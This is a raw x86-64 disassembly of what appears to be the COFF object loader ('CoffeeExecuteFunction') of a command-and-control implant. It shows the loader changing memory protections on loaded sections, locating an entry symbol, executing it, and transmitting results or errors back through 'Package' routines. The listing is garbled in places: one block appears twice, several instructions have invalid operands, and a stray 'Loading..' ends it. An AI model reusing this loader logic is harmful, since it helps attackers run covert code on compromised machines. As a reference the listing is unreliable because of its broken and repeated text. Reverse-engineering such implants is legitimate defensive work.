140008fd5call PackageAddString
140008fdamov rcx, rbx
140008fddcall PackageTransmit
140008fe2jmp 0x140008e4b
140008fe7
140008fe7loc_140008fe7:
140008fe7mov rcx, rax
140008feashl rcx, 4
140008feeadd rcx, r8
140008ff1mov rdx, [rcx]
140008ff4cmp r12, rdx
140008ff7jae 0x140009004
140008ff9
140008ff9loc_140008ff9:
140008ff9inc rax
140008ffc
140008ffcloc_140008ffc:
140008ffccmp ax, r9w
140009000jb 0x140008fe7
140009002jmp 0x140009023
140009004
140009004loc_140009004:
140009004add rdx, [rcx+8]
140009008cmp r12, rdx
14000900bjae 0x140008ff9
14000900dimul rax, rax, 40
140009011mov rdx, [rbx]
140009014lea rax, [rdx+rax+20]
140009019mov [rbx+16], rax
14000901dtest [rax+39], 32
140009021jne 0x14000903f
140009023
140009023loc_140009023:
140009023mov r9, r12
140009026mov r8l, 351
14000902clea rdx, [rip+0x2424d]
140009033lea rcx, [rip+0x22319]
14000903ajmp 0x140008e46
14000903f
14000903floc_14000903f:
14000903fmov r8l, 355
140009045lea rdx, [rip+0x24234]
14000904clea rcx, [rip+0x22262]
140009053lea r9, [rip+0x2233b]
14000905acall printf
14000905fmov r8, r14
140009062mov rdx, r13
140009065mov rcx, r12
140009068call CoffeeFunction
14000906dtest rsi, rsi
140009070jne 0x140009079
140009072
140009072loc_140009072:
140009072mov eax, 1
140009077jmp 0x140009084
140009079
140009079loc_140009079:
140009079mov rcx, rsi
14000907ccall [rbp+436]
140009082jmp 0x140009072
140009084
140009084loc_140009084:
140009084add rsp, 56
140009088pop rbx
140009089pop rsi
14000908apop rdi
14000908bpop rbp
14000908cpop r12
14000908epop r13
140009090pop r14
140009092pop r15
140009094ret
140008d20
140008d20CoffeeExecuteFunction:
140008d20push r15
140008d22push r14
140008d24mov r14, r9
140008d27push r13
140008d29mov r13, r8
140008d2cpush r12
140008d2epush rbp
140008d2fpush rdi
140008d30push rsi
140008d31xor esi, esi
140008d33push rbx
140008d34mov rbx, rcx
140008d37mov rcx, rdx
140008d3asub rsp, 56
140008d3emov [rsp+136], rdx
140008d46call StringLengthA
140008d4bmov rbp, [rip+0x2361e]
140008d52mov r15, rax
140008d55cmp [rbp+240], 0
140008d5cje 0x140008db1
140008d5elea r9, [rip+0x22564]
140008d65mov r8l, 238
140008d6blea rdx, [rip+0x2450e]
140008d72lea rcx, [rip+0x2253c]
140008d79call printf
140008d7elea rdx, [rip+0x1940b]
140008d85mov ecx, 1
140008d8acall [rbp+428]
140008d90mov rsi, rax
140008d93test rax, rax
140008d96jne 0x140008db1
140008d98mov rax, [rbp+2230]
140008d9fmov ecx, 1
140008da4mov edx, [rax+104]
140008da7call PackageTransmitError
140008dacjmp 0x140008e4b
140008db1
140008db1loc_140008db1:
140008db1xor r12l, r12l
140008db4jmp 0x140008db9
140008db6
140008db6loc_140008db6:
140008db6inc r12l
140008db9
140008db9loc_140008db9:
140008db9mov rax, [rbx+8]
140008dbdcmp r12w, [rax+2]
140008dc2jae 0x140008edb
140008dc8movzx edi, r12w
140008dccmov rdx, [rbx]
140008dcfimul rax, rdi, 40
140008dd3lea rax, [rdx+rax+20]
140008dd8cmp [rax+16], 0
140008ddcmov [rbx+16], rax
140008de0je 0x140008db6
140008de2mov r9l, [rax+36]
140008de6mov eax, 1
140008debmov edx, r9l
140008deeand edx, 0xffffffffe0000000
140008df4jne 0x140008e52
140008df6
140008df6loc_140008df6:
140008df6mov rdx, [rbx+16]
140008dfatest [rdx+39], 4
140008dfeje 0x140008e03
140008e00or ah, 2
140008e03
140008e03loc_140008e03:
140008e03mov r10, [rbx+60]
140008e07shl rdi, 4
140008e0bor rdx, -1
140008e0fmov ecx, 2
140008e14add r10, rdi
140008e17mov r9, [r10+8]
140008e1bmov [rsp+32], eax
140008e1fmov r8, [r10]
140008e22call MemoryProtect
140008e27test eax, eax
140008e29jne 0x140008db6
140008e2blea r9, [rip+0x224d6]
140008e32mov r8l, 283
140008e38
140008e38loc_140008e38:
140008e38lea rdx, [rip+0x24441]
140008e3flea rcx, [rip+0x2246f]
140008e46
140008e46loc_140008e46:
140008e46call printf
140008e4b
140008e4bloc_140008e4b:
140008e4bxor eax, eax
140008e4djmp 0x140009084
140008e52
140008e52loc_140008e52:
140008e52mov eax, 16
140008e57cmp edx, 0x20000000
140008e5dje 0x140008df6
140008e5fmov eax, 2
140008e64cmp edx, 0x40000000
140008e6aje 0x140008df6
140008e6cmov eax, 32
140008e71cmp edx, 0x60000000
140008e77je 0x140008df6
140008e7dmov eax, 8
140008e82cmp edx, 0xffffffff80000000
140008e88je 0x140008df6
140008e8emov eax, 128
140008e93cmp edx, 0xffffffffa0000000
140008e99je 0x140008df6
140008e9fmov eax, 4
140008ea4cmp edx, 0xffffffffc0000000
140008eaaje 0x140008df6
140008eb0cmp edx, 0xffffffffe0000000
140008eb6je 0x140008ed1
140008eb8mov r8l, 273
140008ebelea rdx, [rip+0x243bb]
140008ec5lea rcx, [rip+0x22415]
140008ecccall printf
140008ed1
140008ed1loc_140008ed1:
140008ed1mov eax, 64
140008ed6jmp 0x140008df6
140008edb
140008edbloc_140008edb:
140008edbmov r9, [rbx+76]
140008edftest r9, r9
140008ee2jne 0x140008ee8
140008ee4
140008ee4loc_140008ee4:
140008ee4xor edi, edi
140008ee6jmp 0x140008f50
140008ee8
140008ee8loc_140008ee8:
140008ee8mov [rsp+32], 2
140008ef0mov r8, [rbx+68]
140008ef4or rdx, -1
140008ef8mov ecx, 2
140008efdcall MemoryProtect
140008f02lea r9, [rip+0x223ff]
140008f09mov r8l, 295
140008f0ftest eax, eax
140008f11jne 0x140008ee4
140008f13jmp 0x140008e38
140008f18
140008f18loc_140008f18:
140008f18mov r12l, edi
140008f1bmov rdx, [rbx+32]
140008f1fimul r12, r12, 18
140008f23lea rcx, [rdx+r12]
140008f27cmp [rcx], 0
140008f2ajne 0x140008f3a
140008f2cimul rax, rax, 18
140008f30mov ecx, [rcx+4]
140008f33add rax, rcx
140008f36lea rcx, [rdx+rax]
140008f3a
140008f3aloc_140008f3a:
140008f3amov rdx, [rsp+136]
140008f42mov r8l, r15l
140008f45call MemCompare
140008f4atest eax, eax
140008f4cje 0x140008f5d
140008f4einc edi
140008f50
140008f50loc_140008f50:
140008f50mov rax, [rbx+8]
140008f54mov eax, [rax+12]
140008f57cmp edi, eax
140008f59jb 0x140008f18
140008f5bjmp 0x140008f88
140008f5d
140008f5dloc_140008f5d:
140008f5dadd r12, [rbx+32]
140008f61mov r8, [rbx+60]
140008f65movzx eax, [r12+12]
140008f6bmov r12l, [r12+8]
140008f70shl rax, 4
140008f74add r12, [r8+rax-16]
140008f79je 0x140008f88
140008f7bmov rax, [rbx+8]
140008f7fmov r9w, [rax+2]
140008f84xor eax, eax
140008f86jmp 0x140008ffc
140008f88
140008f88loc_140008f88:
140008f88mov r9, [rsp+136]
140008f90mov r8l, 324
140008f96lea rdx, [rip+0x242e3]
140008f9dlea rcx, [rip+0x2237d]
140008fa4call printf
140008fa9mov edx, [rsp+160]
140008fb0mov ecx, 20
140008fb5call PackageCreateWithRequestID
140008fbamov edx, 2
140008fbfmov rcx, rax
140008fc2mov rbx, rax
140008fc5call PackageAddInt32
140008fcamov rdx, [rsp+136]
140008fd2mov rcx, rbx
140008fd5call PackageAddString
140008fdamov rcx, rbx
140008fddcall PackageTransmit
140008fe2jmp 0x140008e4b
140008fe7
140008fe7loc_140008fe7:
140008fe7mov rcx, rax
140008feashl rcx, 4
140008feeadd rcx, r8
140008ff1mov rdx, [rcx]
140008ff4cmp r12, rdx
140008ff7jae 0x140009004
140008ff9
140008ff9loc_140008ff9:
140008ff9inc rax
140008ffc
140008ffcloc_140008ffc:
140008ffccmp ax, r9w
140009000jb 0x140008fe7
140009002jmp 0x140009023
140009004
140009004loc_140009004:
140009004add rdx, [rcx+8]
140009008cmp r12, rdx
14000900bjae 0x140008ff9
14000900dimul rax, rax, 40
140009011mov rdx, [rbx]
140009014lea rax, [rdx+rax+20]
140009019mov [rbx+16], rax
14000901dtest [rax+39], 32
140009021jne 0x14000903f
140009023
140009023loc_140009023:
140009023mov r9, r12
140009026mov r8l, 351
14000902clea rdx, [rip+0x2424d]
140009033lea rcx, [rip+0x22319]
14000903ajmp 0x140008e46
14000903f
14000903floc_14000903f:
14000903fmov r8l, 355
140009045lea rdx, [rip+0x24234]
14000904clea rcx, [rip+0x22262]
140009053lea r9, [rip+0x2233b]
14000905acall printf
14000905fmov r8, r14
140009062mov rdx, r13
140009065mov rcx, r12
140009068call CoffeeFunction
14000906dtest rsi, rsi
140009070jne 0x140009079
140009072
140009072loc_140009072:
140009072mov eax, 1
140009077jmp 0x140009084
140009079
140009079loc_140009079:
140009079mov rcx, rsi
14000907ccall [rbp+436]
140009082jmp 0x140009072
140009084
140009084loc_140009084:
140009084add rsp, 56
140009088pop rbx
140009089pop rsi
14000908apop rdi
14000908bpop rbp
14000908cpop r12
14000908epop r13
140009090pop r14
140009092pop r15
140009094ret
140008d20
Loading..